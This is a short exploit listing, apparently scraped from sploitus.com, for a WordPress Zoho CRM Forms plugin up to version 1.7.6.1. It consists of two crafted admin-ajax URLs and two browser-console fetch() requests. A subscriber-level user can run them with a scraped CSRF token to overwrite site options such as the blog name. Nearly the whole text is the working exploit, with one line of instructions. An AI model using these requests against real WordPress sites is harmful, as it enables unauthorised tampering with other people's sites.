Share
## https://sploitus.com/exploit?id=WPEX-ID:E4102B5D-079A-4A3A-AF2A-C2F712AC1CD7
v < 1.7.6.1

https://example.com/wp-admin/admin-ajax.php?action=zcf_save_contact_form_title&nonce=&tp_title_key=blogname&tp_title_val=Changed%20by%20Subscriber

https://example.com/wp-admin/admin-ajax.php?action= mainActionscrmForms&operation=NoFieldOperation&doaction=SaveFormSettings&shortcode=blogname&thirdparty_title=Owned

v <= 1.7.6.1

Run one of the below command in the developer console of the web browser while being on the blog as a subscriber user and one of the backend page (such as the profile)

fetch("/wp-admin/admin-ajax.php?action=zcf_save_contact_form_title&nonce=", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
    "X-CSRF-TOKEN": jQuery("[name='zoho_crm_forms_csrf_token']").attr("content")
  },
  "method": "POST",
  "body": 'tp_title_key=blogname&tp_title_val=Changed%20by%20Subscriber',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

fetch("/wp-admin/admin-ajax.php?action=mainActionscrmForms&operation=NoFieldOperation&doaction=SaveFormSettings", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
    "X-CSRF-TOKEN": jQuery("[name='zoho_crm_forms_csrf_token']").attr("content")
  },
  "method": "POST",
  "body": 'shortcode=blogname&thirdparty_title=Owned',
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));